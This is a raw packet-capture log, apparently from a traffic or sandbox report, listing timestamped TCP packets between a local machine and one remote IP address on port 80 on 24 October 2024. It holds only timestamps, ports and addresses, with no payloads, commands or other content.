Oct 24, 2024 02:50:23.667418957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667442083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667450905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667478085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667484999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667511940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667521000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667541981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667556047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667576075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667583942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667609930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667614937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667639017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667650938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667673111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667680979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667709112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667716026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667741060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667752028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667776108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667783976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667809010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667818069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667845011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667851925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667877913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667887926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667912960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667918921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667942047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667956114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667974949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667982101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668009996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668016911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668042898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668050051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668076038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668086052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668111086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668118000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668143988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668152094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668176889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668185949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668210983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668219090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668242931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668253899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668277025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668283939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668308973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668314934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668343067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668354988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668375015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668384075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668410063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668418884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668443918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668452978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668478012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668488026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668512106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668519974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668546915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668554068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668581009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668590069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668617964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668622971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668652058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668662071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668687105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668694019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668721914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668730021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668756962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668766022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668791056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668800116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668826103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668833017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668858051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668867111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668893099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668900013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668926001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668935061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668962002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.668967962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.668993950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669003010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669027090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669037104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669056892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669069052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669090986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669097900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669125080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669131994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669158936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669166088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669209957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669214010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669244051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669250965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669277906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669285059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669311047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669320107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669346094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669352055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669378996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669387102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669413090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669421911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669441938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669455051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669476032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669485092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669509888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669518948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669543028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669552088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669576883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669584990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669610977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669616938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669644117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669651985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669676065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669687033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669709921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669718027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669743061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669750929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669779062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669785023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669828892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669830084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669862986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669872999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669893026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669904947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669925928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669934034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669960022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.669969082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.669992924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.670005083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.670027018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.670033932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.670056105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.670069933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.670089960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.670097113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.670125008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.670135021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.670157909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.670170069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.670192957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.670202971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.670226097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.670234919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.670260906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.670267105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.670289993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.670305967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.670330048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.708791018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.708817005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.708832979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.708846092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.708849907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.708865881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.708875895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.708883047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.708913088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.708913088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779057026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779098034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779141903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779192924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779232025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779247046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779247046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779247046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779262066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779284954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779297113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779347897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779392958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779403925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779433012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779448032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779474020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779480934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779515982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779525042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779550076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779556036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779582977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779593945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779618979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779623985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779663086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779671907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779712915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779721022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779748917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779764891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779783010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779805899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779818058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779835939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779886007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779936075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.779942036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.779963970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780013084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780045033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780045986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780056953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780073881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780086040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780116081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780123949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780157089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780165911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780189991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780201912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780224085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780232906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780266047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780272961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780307055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780317068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780356884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780365944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780415058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780459881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780463934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780498028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780505896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780540943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780548096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780591011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780601978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780635118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780643940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780670881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780677080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780713081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780720949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780754089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780764103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780793905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780802965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780836105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780848980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780878067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780884981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780919075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780926943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780947924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.780961037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780987024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.780996084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781039000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781044960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781079054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781089067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781121016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781128883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781162024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781171083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781207085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781213045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781245947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781255007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781286001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781295061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781327963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781362057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781372070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781404018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781410933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781454086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781460047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781502008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781508923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781543016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781553030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781579018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781585932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781614065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781646013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781657934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781688929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781728983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781760931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781771898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781794071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781802893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781810045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781826019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781831980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781841040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781842947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781858921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781864882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781873941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781881094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781891108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781902075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781905890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781913042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781923056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781932116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781938076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781943083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781954050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781965017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781969070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781977892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.781986952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.781999111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.782008886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.782010078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.782027006 CEST	80	49704	185.215.113.37	192.168.2.5
